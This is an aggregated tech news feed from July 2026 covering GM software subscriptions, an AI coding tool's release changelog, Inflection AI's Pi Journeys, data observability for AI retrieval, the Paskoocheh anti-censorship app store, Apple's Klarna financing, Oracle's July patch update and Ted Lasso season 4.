"General Motors has been pulling a Tim Cook and boosting its software and subscription business," reports Business Insider. During the automaker's Tuesday earnings call, executives said they're increasingly leaning on software subscriptions like OnStar and Super Cruise to generate high-margin recurring revenue long after customers buy their vehicles. GM says OnStar brought in about $800 million in the second quarter, while Super Cruise revenue grew about 70% year over year. From the report: GM says its software business keeps roughly 70 cents of every dollar it brings in. That's a rare level of profitability in the auto industry, as many car sales generate just four to 10 cents per sales dollar. [...] GM expects to add about 1 million OnStar subscribers this year, bringing the total close to 13 million. Super Cruise, GM's hands-free, eyes-on driving system, is growing even faster. GM added about 70,000 subscribers during the quarter and expects to end the year with more than 850,000. Revenue from the service increased about 70% from a year earlier.
 
And a lot of drivers are sticking around after the free period ends. GM said between 30% and 40% of eligible owners continue paying after their included three-year Super Cruise subscription expires. [..] "We do think we have tremendous levers, multiple levers of growth," Barra said on the call. "We definitely think there's a lot of opportunity at GM to grow, improve margins, and become less cyclical."
 
"Software and services are becoming increasingly important to how customers experience GM vehicles and how we deliver value beyond the initial purchase," a spokesperson previously told Business Insider. "As vehicles become more software-defined, we can introduce new digital experiences through updates and optional services rather than hardware changes."






Read more of this story at Slashdot.


Cursor Releases Cursor Router: A Request-Level Classifier Delivering Frontier Coding Quality at 30–50% Lower Cost
Thu, 23 Jul 2026 00:47:23 +0200
Cursor has made Cursor Router generally available for Teams and Enterprise plans. The system classifies each request on query, context, task complexity and domain, then routes it to the most suitable model. Cursor reports frontier-quality output at 60% savings in online A/B tests, and 30–50% savings for three early-access enterprise accounts measured against Opus 4.8 rates.
The post Cursor Releases Cursor Router: A Request-Level Classifier Delivering Frontier Coding Quality at 30–50% Lower Cost appeared first on MarkTechPost.


v2.1.218
Wed, 22 Jul 2026 23:32:59 +0200
What's changed

Changed /code-review to run as a background subagent, so review work no longer fills your conversation and keeps stacked slash commands as its review target
Added screen-reader announcements of deleted text for word and line deletions (Option+Delete, Ctrl+W, Cmd+Backspace, Ctrl+U, Ctrl+K) in --ax-screen-reader mode
Fixed Windows paths with \u-prefixed segments (like C:\Users\unicorn) being corrupted into CJK characters in tool inputs, which made those files inaccessible
Fixed the left arrow key discarding the conversation with no undo: presses right after editing now ask to confirm, and Esc in the agent view returns to the conversation it backgrounded
Added HTTP status and error text to claude mcp list and /mcp when a server fails to connect, and a warning for MCP config values with hidden leading or trailing whitespace
Fixed multi-line paste collapsing into one line with j in place of newlines in terminals that encode pasted newlines as Ctrl+J
Fixed /context reporting stale pre-compact token usage after compacting from the message picker
Fixed /ultrareview failing on descriptive arguments like "review my auth changes" — they now run a review of your current branch with the text applied as a note to the findings
Fixed /code-review ultra silently running a local review in non-interactive sessions — it now launches the cloud review
Fixed gateway spend metering to price Bedrock application-inference-profile ARNs and other config-mapped upstream model IDs at the configured model's rates
Fixed mojibake when a long IDE selection was truncated mid-emoji, and a case where a tool executor error could be silently dropped
Fixed an engine teardown race that could start and abandon a phantom turn, and made input pushed after close consistently rejected
Fixed spurious "[Request interrupted by user]" messages after interrupted tool calls, and an unpaired tool_use block left in the transcript when a tool aborted mid-response
Fixed VoiceOver reading "new line" instead of echoing the typed space at the end of the input in --ax-screen-reader mode
Fixed plugin and settings panels not moving the terminal cursor to the focused row, so screen readers and magnifiers can follow arrow-key navigation
Fixed crashes (maximum call stack exceeded) when a deeply nested watched directory tree was deleted or moved, and when rendering deeply nested UI trees
Fixed pull request events occasionally being lost when a session exited immediately after creating or linking a PR
Fixed the Bedrock setup wizard failing profile verification for assume-role profiles in partitioned AWS regions and on proxy-only networks
Fixed rare negative or incorrect turn duration measurements after a system clock adjustment by timing turns with a monotonic clock
Fixed the "N MCP servers need authentication" startup notice over-counting claude.ai connectors that aren't connected in claude.ai
Fixed prompt history entries being dropped or duplicated when history writes raced or failed
Fixed a retry loop that re-sent identical doomed requests after a context-overflow error with a large thinking budget; Ctrl+B backgrounding now applies the same background-shell caps as other paths
Fixed agent frontmatter hooks running from untrusted folders: hooks now require the agent file's own folder to have accepted workspace trust
Fixed fork-session lineage being lost after compaction in headless and SDK sessions
Fixed a resumed session failing every turn, or crashing on resume, when its history held a malformed delta attachment
Improved /ultrareview error feedback so Claude can correct an invalid argument instead of retrying it unchanged
Improved auto mode: the dangerous-rm, background-&, and suspicious-Windows-path checks no longer open permission dialogs; the auto-mode classifier adjudicates them instead
Improved sandbox command restrictions for IDE interactions
Improved trust dialogs to name the repository root the grant covers
Changed /deep-research to start only when invoked manually; Claude no longer launches it on its own
Changed plan mode with auto to no longer prompt for Bash commands the static analyzer can't prove read-only; the auto-mode classifier judges them instead
Added an announcement when fast mode changes as a result of switching models via /config model= or Remote Control
Changed server-managed settings so benign feature and cost toggles no longer trigger the settings-approval prompt
Changed agent markdown files to reject agent names containing :, which is reserved for plugin namespacing
Changed skills with context: fork to run in the background by default; opt out per skill with background: false
Added yes/no/on/off/1/0 (case-insensitive) as accepted values for skill and plugin frontmatter booleans, alongside true/false
Fixed remote sessions continuing to send heartbeats after their worker was replaced, which left long-lived desktop and IDE processes retrying a rejected request every few seconds forever



Are Schools Falling Behind AI?
Wed, 22 Jul 2026 23:03:42 +0200
Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:0 
Rapid advances in AI are forcing organizations to rethink how people learn new skills. The question isn't only how employees adapt, but whether K–12 education, universities, and professional development can keep pace.



Waiting until workforce shortages appear could mean reacting too late. Updating curricula before major disruptions occur may help prepare students and workers for jobs that increasingly involve AI and automation.



If you could change one thing about today's education system to prepare people for an AI-driven workforce, what would it be?



Subscribe to our podcasts: https://securityweekly.com/subscribe



#Education #FutureOfWork #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec



Inflection AI returns to consumer market with Pi Journeys after Microsoft upheaval
Wed, 22 Jul 2026 22:58:21 +0200
Inflection AI, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative thesis: the next competitive battleground in AI won't be raw intelligence, but relationships.
The company launched Inflection AI Labs, a public-facing research and experimentation arm, alongside Pi Journeys, the lab's first product experiment — an AI experience designed to adapt to a user's life stage, whether that's becoming a parent, taking on caregiving duties, changing careers, or aging. The announcement arrived with a research report on consumer AI habits and a substantial update to Pi, the company's flagship chatbot, adding improved voice, memory, and new agentic tools for reminders, to-do lists, and shopping.
"Inflection AI is the company. Pi is our flagship consumer product. Inflection AI Labs is where we experiment, explore personal intelligence and share more publicly. Pi Journeys is the first public experiment from Inflection AI Labs," CEO Sean White told VentureBeat in an exclusive interview.
Behind the tidy org chart is a far more interesting story: a company attempting one of the more unusual second acts in the AI industry, powered by an argument that the entire market is optimizing for the wrong thing.
Why Inflection AI believes the chatbot era's biggest flaw is that it's transactional
White's central claim is that today's AI assistants — including the industry's most capable models — are fundamentally transactional. You ask, they answer, the session ends. He believes that architecture misses most of what people actually need from artificial intelligence in their daily lives.
"One of the things that really struck us in particular, and this showed up in the research, was that a lot of the work is very transactional, and you'll hear me say a lot that we've been shifting all this from transactional to relational systems," White said. "Not everything is going to be: I do a single turn, I utter a question, I get a search response back."
White frames the industry's evolution as a progression through four kinds of intelligence. First came raw IQ — the foundation model race. Then emotional intelligence, which Inflection made its signature with Pi's famously warm conversational style. Then agentic intelligence — AI that acts rather than just talks — which White says Inflection absorbed from its enterprise work. The fourth, and the one Inflection is now staking its future on, is what the company calls relational intelligence: AI that understands not just you, but the web of people around you.
"There's so much fear about these things pushing people into loneliness,” White said. “If we design these pro-social systems as another design criteria, that actually makes a huge difference."
That design philosophy is a pointed counter-narrative to one of the loudest anxieties in consumer AI right now: that emotionally engaging chatbots deepen isolation by substituting for human contact. Inflection argues the opposite is possible — that an AI with structured knowledge of your relationships can push you back toward people rather than away from them.
Inside Pi Journeys, the AI companion that maps your relationships and life stages
Pi Journeys makes that idea concrete. When users first open the product, it asks about their life stage — caregiver, household manager, midlife transition — and then builds what White describes as specially structured memory around the people who matter in that context. From there, the system becomes proactive.
"It starts to build up memories around that, and it acts as a memory prosthetic — but in a pro-social way," White said. "It doesn't get in the way of your interactions with other people; it really helps facilitate them." The system might remind a user, for example, that a friend deserves a call, or resurface what was last discussed with a family member involved in a parent's care.
White, who spent years as chief R&D officer at Mozilla before taking Inflection's helm, was quick to flag the obvious privacy implications of an AI that maps your social graph. "We've built a lot of privacy systems into this," he said, noting users can delete and manage the people recorded in their profile. Whether consumers will trust a venture-backed AI company with a structured database of their most important relationships remains one of the biggest open questions hanging over the product — and one that enterprise buyers evaluating Inflection's technology will watch closely.
Asked why this was the first Labs experiment, White was direct: "Pi Journeys takes into account people's life stages and experiences because we have heard from users that we can provide more value in helping them navigate their lives. Pi Journeys lets us experiment with the early stages of prosocial and relational intelligence because life isn't single-player."
The product has been tested internally and with small closed groups, White said, and is now being released more broadly as an experiment rather than a finished product — a posture the Labs branding is designed to make explicit.
What Inflection's consumer AI research reveals about how people actually use chatbots
Inflection Labs' first publication, the State of Consumer AI Research Report, offers the empirical scaffolding for the strategy. The average consumer now uses roughly two different AI tools every day and three per week, the company found — evidence, in Inflection's reading, that no single assistant has locked up consumer loyalty and that the market remains contestable.
More telling is why people choose the tools they do. Respondents cited personalization, style and tone, context awareness, and — notably — emotional understanding as deciding factors. They also said they want AI to be more than a productivity engine: a coach or mentor to motivate them, a chef to suggest recipes, a DJ to curate playlists.
"One thing we're certainly finding is that a lot of that also is in work, not so much in everyday life," White said. "That's our focus right now — the everyday life part."
This is a shrewd reading of the competitive map. The best-funded AI labs are pouring resources into coding tools, enterprise agents, and developer platforms, leaving everyday consumer use cases comparatively underserved. White sees the gap clearly. "We see a lot of products that are being aimed more and more at the enterprise," he said. "As a computer scientist by training, I kind of love the IDEs as this tool, but it's not really great for everybody. There's so much regular everyday use from folks that is either purely voice or that is purely mobile."
He recalled a conversation with a conference staffer who told him she owned only a phone, no laptop — exactly the kind of user, he argued, that the industry's developer-centric product roadmaps have left behind.
How the $650 million Microsoft deal hollowed out Inflection — and set up its second act
To understand why any of this is remarkable, you have to rewind to March 2024. Inflection was then one of the hottest startups in AI, having raised $1.3 billion in mid-2023 in a round backed by Microsoft, Nvidia, Bill Gates, and Reid Hoffman — more than $1.5 billion in total. Pi had crossed one million daily active users, per Reuters.
Then, in a deal that reshaped how the industry thinks about acqui-hires, Microsoft hired away co-founder and CEO Mustafa Suleyman, chief scientist Karén Simonyan, and most of the company's roughly 70 employees, paying Inflection about $650 million largely to license its technology, as Reuters reported. Suleyman now runs Microsoft's consumer AI business. The structure of the deal drew scrutiny from the FTC and Britain's competition regulator, though the UK's Competition and Markets Authority cleared it in September 2024 and EU regulators declined to act.
White, installed as CEO in the aftermath, steered the remnant company hard toward enterprise, acquiring three startups in late 2024 — Jelled.AI, BoostKPI, and the European consulting firm Boundaryless — and telling TechCrunch that November that Inflection had no intention of competing with companies building 100,000-GPU frontier systems.
Tuesday's announcement doesn't reverse that position so much as complicate it. Asked how to think about the company today, White called it "a consumer-first strategy that bridges both consumer and enterprise efforts" — and he insists the two sides feed each other.
Enterprise deployments, including a partnership with Intel that is among the few he can name publicly, taught Inflection how to run models inside complex infrastructure. Consumer products, meanwhile, let the company iterate at speed. "The part I also like about the consumer side, and this has always been true, is that we can move faster, experiment faster, and try and learn faster," White said.
The six-month prediction: relationship-aware AI is coming to the enterprise
Buried in White's consumer pitch is the claim that should matter most to technical decision-makers. "Normally I'd say like a year, but let's call it six months," he said. "You're going to start to see a bunch of enterprises care a lot more about the relationships that are inside the enterprises and what that picture is, not just the workflows."
If White is right, the wave of workflow-automation agents currently flooding the enterprise market is only the first phase of business AI adoption — with relationship-aware systems, tested first on consumers, following close behind. Inflection is essentially using its consumer products as a live laboratory for capabilities it plans to sell into companies. It's a capital-efficient strategy for a firm that can no longer outspend rivals on training runs, and a risky one, since it depends on consumers showing up in numbers large enough to generate the learning.
The technical substance underneath is equally pragmatic. Pi today runs not on a single proprietary frontier model but on an orchestration layer routing across many models — some descended from Inflection's original fully trained cores, some fine-tuned, some open source, including work with Nvidia that White says gives Inflection access to unreleased cutting-edge models. He also took a swipe at the industry's loose vocabulary around ownership: "When people say that the model is their own, most of the time nowadays — I guess I won't name names — a lot of companies will actually take a checkpoint, and then they will fine-tune from that checkpoint. But very few people actually start from that beginning core."
That candor extends to open source, where White carefully hedged. "We're not ready to promise what I think of as true open source, and by that I mean everything," he said, invoking his Mozilla years overseeing genuinely open projects like Rust and WebAssembly.
Weights without training data and pipelines, he argued, often leave developers unable to do anything meaningful with a supposedly "open" model. "We are a PBC, and there's still a C in there," he added — a reminder that public benefit corporations still have businesses to protect. The Labs will collaborate with academic researchers, including Stanford professors who visited the company's Palo Alto office this week, and continue contributing to open projects such as PyTorch.
Can a diminished Inflection compete with AI giants spending billions?
Reid Hoffman, the LinkedIn co-founder who co-founded Inflection and stayed on through the Microsoft upheaval, framed the announcement in the sweeping terms of his recent writing on AI and human agency. "Humans should be amplified by AI, not replaced. That's the principle Pi was built on," Hoffman said in the announcement. "When that kind of agency is available to everyone, you get superagency."
The skeptic's case is easy to make. Inflection is a fraction of its former size, competing for consumer attention against products from companies spending tens of billions of dollars a year. Pi's model was state of the art in 2023; it is not in 2026. And "relational intelligence" is, for now, a brand claim awaiting proof.
But the bull case is not crazy either. Inflection's own research shows consumers already juggle multiple AI tools and choose them for qualities — tone, emotional understanding, personalization — that frontier labs treat as afterthoughts. The company kept its technology, its Microsoft licensing windfall, and a defensible enterprise niche in on-premise, emotionally intelligent deployments. And it is targeting the one consumer segment — everyday, mobile-first, voice-first life management — that the coding-obsessed giants have largely ignored.
Asked what success looks like twelve months from now, White declined to talk numbers. "It's less about scale for scale's sake and more about scaling for impact by empowering people and improving their lives," he said. "Over the next year, success means leading the market towards relational intelligence and transforming AI interactions from transactional to relational."
Two years ago, Microsoft walked away with Inflection's founders, its staff, and its shot at the frontier — but it left behind the one idea the giants still haven't figured out how to build: an AI that knows the people in your life matter more than the tasks on your list. Inflection is betting the company, again, that the idea was the valuable part all along.




AI agents aren't confidently wrong because of bad context — they're wrong because of bad data engineering
Wed, 22 Jul 2026 22:58:18 +0200
You spend weeks tuning an AI chatbot. Answers are accurate. Stakeholders sign off, and you ship it. Three months later, the system is confidently wrong about a third of what users ask. Nobody changed the model, and nobody touched the prompts. The world moved, pricing changed, a policy updated, a product spec shipped a new version, and the underlying knowledge store didn't move with it.
This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.
The failure that doesn't look like a failure 
An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.
So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.
I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. 
Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.
Why this is a data engineering problem
Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.
Blaming the model: The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.
Blaming the retrieval layer: Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. 
AWS just entered the "context layer" race with a knowledge graph that learns from agent usage. 
Snowflake's new Horizon Context and Cortex Sense target the exact symptom this piece opened with: agents giving confident wrong answers because nothing governs the business logic underneath them. 
Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.
The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. 
What's actually missing: Data observability
Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.
Uber built a dedicated data quality and observability platform long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.
Netflix solved a different piece of the same problem, building a company-wide data lineage system so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.
Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.
Correctness: Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like Great Expectations and Soda handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.
Freshness: Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.
Consistency: Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.
Lineage: Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. 
None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.
At Socure, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.
Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a write-audit-publish pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.
The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.
What to do Monday morning
If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: 
Is the underlying data validated against the standards required by its consumers?
What's the oldest piece of content currently being served with high confidence?
Would two chunks of the same source ever disagree with each other in the same retrieval result?
Could you trace where it came from if it turned out to be wrong?
If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.
Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. 


Paskoocheh: When you need a tool to reach the tool
Wed, 22 Jul 2026 22:34:54 +0200

    
      


      
    
    ++ This guest post is part of a spotlight series on the organizations defending the free Internet.++
Due to heavy information controls, people in Iran face significant barriers to accessing the Internet. Authorities have actively blocked numerous websites and apps, including conventional circumvention and digital security tools such as VPNs, social media platforms, and the app stores themselves. This creates a "chicken-and-egg" problem: users need a VPN to download a VPN.
Launched in 2016, Paskoocheh, Persian for "alleyway," is an open source alternative app store, community hub, and one-stop-shop for users to access information and tools to circumvent censorship, enhance their privacy, securely communicate, and express themselves freely online. Developed and maintained by ASL19, a technology and exiled media organization named after Article 19 of the Universal Declaration of Human Rights, Paskoocheh restores access and allows people to reach trusted tools through four censorship-resilient channels: the Paskoocheh website, Android App, Email bot, and Telegram bot. 
Users are also able to reach our Persian-speaking support team through the Paskoocheh Helpdesk, which handles over 200 tickets daily. In addition, ASL19 translates and publishes accessible user guides, blog posts, and multimedia content to help users navigate online privacy and digital security best practices.
Paskoocheh serves as more than an alternative app store; it is also a bridge between tool developers and in-country users. Our support team relays user feedback to tool developers, helping improve tools and overall experience in Iran. We also conduct in-country testing with developers and user communities to evaluate new features and strengthen censorship-resilient technologies.
Paskoocheh's impact so far
This combination of access, user support, and education has turned Paskoocheh into a critical lifeline for users in Iran.

# of tool downloads since 2016:   17,634,852 

# of community members in Iran supporting testing and localization efforts:  2,000+

# of monthly active users on web and app:  ~200K


During periods of internet disruption and nationwide protests in Iran, these tools became critical communication lifelines. One longtime user wrote to us: 
"I've been using this free app for several years now. It's free, unique, and unlike others, it has no equal." Reflecting on the broader digital environment in the country, they added that "in these difficult economic conditions, people are struggling just to survive, while many apps either empty people's pockets, deceive and lie to them, or serve as tools for spying and propaganda."

Messages like these highlight the importance of privacy-preserving technologies in environments where surveillance, censorship, and disinformation shape everyday life online. In moments of crisis, internet freedom tools become part of how people maintain relationships, exchange trusted information, and stay connected to the outside world. For some users, these tools also made it possible to continue reporting on events on the ground, verify information during periods of state-backed disinformation, and safely communicate evidence of abuses despite widespread surveillance and connectivity disruptions.
The future of Paskoocheh: Scaling a community-first approach to internet freedom
As internet censorship tactics evolve rapidly, internet shutdowns are becoming more frequent and more sophisticated, cutting communities off from information, communication, and one another. 
What we have learned through this work is that access alone is not enough. Technology is only useful if people trust it, understand how to use it safely, and can rely on support networks when digital spaces become unstable or dangerous.
That is why our work extends beyond technical development. Alongside building secure access technologies, ASL19 invests heavily in user education, digital security guidance, and community capacity building. Every support ticket answered, training delivered, and piece of digital safety guidance shared helps people stay connected under pressure. 
This human-centered approach is becoming increasingly important as authoritarian tactics evolve globally. During internet shutdowns and heightened censorship, local helper communities often become the first line of assistance for journalists, activists, students, and ordinary citizens. 
With additional support, ASL19 aims to continue expanding Paskoocheh beyond its current capacity into a broader resilience ecosystem that combines technical innovation with stronger on-the-ground support systems. This includes improving access to trusted circumvention and privacy tools during shutdowns, expanding multilingual user support and educational resources, and deepening collaboration with communities operating under digital authoritarianism. 
This work is not solely about technology products. At a moment when most people's understanding of the internet is shaped by the little squares in their pockets, it is important to acknowledge and support the broader ecosystems that make access possible. Civil society, independent media, and grassroots communities all play a part in helping people survive under pressure. This is why partnerships within the internet freedom ecosystem matter. Living under digital authoritarianism means that these are not abstract protections against hypothetical risks, but practical tools that make journalism, organizing, education, and communication possible in the first place. 
About ASL19
Named after Article 19 of the Universal Declaration of Human Rights, ASL19 is a technology and exiled media organization working to counter digital authoritarianism. For more than a decade, we have partnered with civil society groups, journalists, researchers, activists, and internet users living under some of the world's most restrictive online environments. Guided by the belief that privacy and internet freedom are essential to safe communication, access to information, and civic participation, ASL19 develops technologies and support systems that help people navigate censorship, surveillance, internet shutdowns, and information manipulation. In countries such as Iran, Russia, and China, these tools serve as critical lifelines, enabling people to communicate securely, access information, document human rights abuses, and stay connected to the outside world.

    
  
    
        
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Apple Partners With Klarna To Offer iPhones, Macs On a Subscription Basis
Wed, 22 Jul 2026 22:12:27 +0200
Apple is reportedly launching a Klarna financing deal that will let U.S. customers spread the cost of devices over up to three years, pushing the company closer to a hardware-as-a-service model. "The only thing you don't get under the new arrangement is AppleCare, for which you'll allegedly need to pay extra," notes Computerworld. From the report: The introduction of the scheme gives consumers a way to purchase the company's popular high-end devices when they are introduced -- no doubt,at higher cost -- this fall. [...] A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. "Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do," [IDC analyst Francisco Jeronimo] wrote to me.
 
There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but probably can't afford to own.
 
The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but abandoned that plan as it became riskier with rising bank rates. "Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet," Jeronimo said. 
"Apple Upgrade lands at precisely the moment Apple needs it," Jeronimo wrote in a note seen by Computerworld. "Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September -- as well as the new iPhone foldable expected at $2,500 -- Apple's real risk is that rising prices even further can impact the upgrade cycle."






Read more of this story at Slashdot.


Oracle’s July update fixes ten 10.0 vulnerabilities in Fusion Middleware
Wed, 22 Jul 2026 20:52:40 +0200

		
					  
						




Oracle’s July 2026 Critical Patch Update, its largest ever, contains 1,449 new security patches spanning 32 product families, from Oracle Database and E-Business Suite to PeopleSoft, GoldenGate, Java SE, and Fusion Middleware.



Fusion Middleware was particularly hard hit, with new security patches for 355 security vulnerabilities, 219 of them remotely exploitable without authentication, meaning they can be exploited over a network without requiring user credentials. Ten of them scored a “perfect” 10.0 on the Common Vulnerability Scoring System (CVSS).



These included easily exploitable vulnerabilities allowing unauthenticated attackers with network access via HTTP to compromise Oracle Data Integrator, Oracle Access Manager, Oracle HTTP Server, Oracle Platform Security for Java, Oracle WebCenter Content, Service Delivery Platform, or Oracle Weblogic Server Proxy Plug-in,



No other products were found to have quite such extreme vulnerabilities, but there were plenty of others scoring almost as badly.



Two critical flaws in Oracle Database Server



The most severe flaw Oracle patched in its flagship database product is CVE-2026-61211, a vulnerability in the RDBMS component’s DBMS_CLOUD package with a CVSS score of 9.9.



This easily exploitable vulnerability allows a low-privileged attacker having Execute DBMS_CLOUD privilege with network access via Oracle Net to compromise the RDBMS, Oracle said in the patch update statement. “While the vulnerability is in RDBMS, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of RDBMS,” it warned.



The flaw affects Database Server versions 19.3 through 19.31 and 23.4.0 through 23.26.2.



Sanchit Vir Gogia, chief analyst at Greyhound Research, said the 9.9 score should be read as serious but conditional. Exposure depends on configuration, he said: On customer-managed databases, DBMS_CLOUD is absent until installed, and grants and network access lists determine the radius from there. “Where DBMS_CLOUD is broadly granted and reachable, the emergency is real and the window is seventy-two hours; where it is absent, the accelerated database wave will do.”



Vibhum Dubey, a cybersecurity researcher and red teamer, said the flaw stood out to him because it checks several boxes that concern defenders.



“Database servers often hold an organization’s most valuable data, so even if exploitation is not publicly observed yet, I don’t think this is the kind of issue you leave until the next routine maintenance window if your environment is exposed,” Dubey said.



A second Database Server flaw, CVE-2026-47040, affects Connection Manager in Oracle Net Services, is remotely exploitable without credentials. Oracle’s risk matrix lists six Database Product vulnerabilities in this cycle as reachable over a network with no authentication required, the statement added.



CVE-2026-7383, an OpenSSL-related TLS vulnerability, affects two products, Database Server and Autonomous Health Framework, since both bundle the same third-party component. Oracle’s advisory notes the Database Server patch for that CVE also resolves 19 related OpenSSL CVEs bundled into the same fix.



Oracle GoldenGate received 27 new patches, nine of which do not require authentication to exploit, including CVE-2026-2332, a flaw in the Big Data and Application Adapters component tied to Eclipse Jetty, the statement added.



There were also two critical flaws in Oracle’s TimesTen in-memory database.



The remainder of the release spans E-Business Suite, WebLogic Server, PeopleSoft, Siebel, JD Edwards, Communications, Retail Applications, Utilities Applications, MySQL, Solaris and VM VirtualBox.



Volume repair



Gogia said the volume itself marks a shift.



“At 1,449 patches, against 481 in April 2026 and 309 a year earlier, patch load has outgrown the queue built to hold it,” he said. He recommended a tiered response: “The reachable and the reported inside seventy-two hours, the trusted core inside ten days, the rest by risk before the October release.”



He also flagged a specific risk in how organizations might triage E-Business Suite. “Oracle’s advisory concedes that E-Business Suite exposure sits partly in underlying Database and Fusion Middleware versions outside the E-Business Suite matrix. The fastest way to mis-prioritise this release is to patch by product logo instead of trust boundary.”



Third Tuesday, quarterly cycle



The July release is the third quarterly Critical Patch Update of 2026, and the first since the introduction in May of the monthly Critical Security Patch Update program.



Gogia said Oracle has effectively layered a second cadence on top of the existing one rather than replacing it.



“Quarterly Critical Patch Updates remain and stay cumulative; monthly Critical Security Patch Updates now sit on top,” he said, adding that enterprise adoption of the new rhythm remains low because of “certification obligations, regression exposure and scarce specialist hours.”



Dubey made a similar point about organizational readiness: “In large enterprises, patching is rarely a technical problem. It is an operational one. Database administrators, application owners, infrastructure teams, business stakeholders, and change advisory boards all have to align.”



Niyati Daftary, principal analyst at Gartner, said the release underscores a broader shift in how patching is approached.



“Patching is no longer a race to remediate every vulnerability. It is a discipline of identifying the exposures that matter most and reducing business risk as efficiently as possible,” she said, adding that organizations should prioritize based on exposure, business impact and exploitability, starting with internet-facing assets and mission-critical systems.



Daftary pointed to continuous threat exposure management and adversarial exposure validation as increasingly relevant frameworks, since CVSS scores “measure theoretical severity rather than actual enterprise risk.” Patching alone will not be sufficient, Daftary said, and organizations should continue investing in defense in depth, including behavioral threat detection and incident response.



Oracle’s next cumulative Critical Patch Update will come on Oct. 20, 2026, with smaller Critical Security Patch Updates on Aug. 18 and Sept. 15.



This article first appeared on CSO.







Ted Lasso Season 4 Early Buzz Says New Episodes Bring Back Season 1 Magic
Wed, 22 Jul 2026 20:40:27 +0200
Ted Lasso season 4 is almost here, and early reports suggest fans have good reason to feel excited about the show's return. The new season premieres on August 5 with its first episode, followed by weekly releases through October 7, and people close to the production believe it delivers a stronger story than season 3 while bringing back the charm that made the series a global hit.



The Hollywood Reporter recently shared an in-depth look at how season 4 came together, revealing that Jason Sudeikis originally planned to end the series after three seasons before changing his mind. Instead of moving ahead with one of several spinoff ideas, including projects centered on Roy Kent and Keeley Jones, the creative team decided to continue the main story with a fresh direction.



Season 4 shifts its focus to AFC Richmond's women's team, which was teased during the season 3 finale. Jason Sudeikis returns as Ted Lasso, while Hannah Waddingham, Juno Temple, Brett Goldstein, and several familiar faces also reprise their roles. The team also welcomed sitcom veteran Jack Burditt, who joined as co-showrunner to help keep production on schedule while Sudeikis continued leading the creative side.



